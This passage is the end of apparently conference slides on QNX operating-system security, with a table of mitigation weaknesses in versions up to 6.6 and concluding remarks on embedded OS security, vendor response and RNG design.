<td>Weak RNG</td>
<td>&lt;= 6.6</td>
</tr>
<tr>
<td>SSP</td>
<td>No kernel canaries</td>
<td>&lt;= 6.6</td>
</tr>
<tr>
<td>RELRO</td>
<td>Broken implementation (CVE-2017-3893)</td>
<td>&lt;= 6.6</td>
</tr>
<tr>
<td>RELRO</td>
<td>$LD_DEBUG$ bypass</td>
<td>&lt;= 6.6</td>
</tr>
<tr>
<td>RNGs</td>
<td>Weak /dev/random</td>
<td>&lt;= 6.6</td>
</tr>
<tr>
<td>RNGs</td>
<td>No kernel PRNG</td>
<td>&lt;= 6.6</td>
</tr>
</tbody>
</table>

* Effectiveness still limited by low entropy upper bounds

Conclusions

• Mostly ok on toolchain side
  • Some weak defaults, some linker mistakes

• Problems reside on OS-side
  • QNX cannot benefit directly from work in GP OS security because not easy to port 1-to-1
  • Result: homebrew DIY mitigations

• Lack of prior attention by security researchers is evident
  • Vulns that feel like they’re from the early ‘00s

• Embedded RNG design remains difficult
  • Entropy issues means design burden rests with system integrators
Conclusions

• QNX attempts to keep up with GP OS security

• One of the few non-Linux/BSD/Windows based embedded OSes with any exploit mitigations
  • See ‘The RTOS Exploit Mitigation Blues’ @ Hardwear.io 2017

• Quick & extensive vendor response, integration of feedback

• Need more attention to embedded OS security in general

• More QNX stuff in the future
  • OffensiveCon, Black Hat Asia, Infiltrate
Questions?
See ‘Dissecting QNX’ whitepaper

@s4mvartaka
j.wetzels@midnightbluelabs.com
www.midnightbluelabs.com

@bl4ckic3
ali@ali.re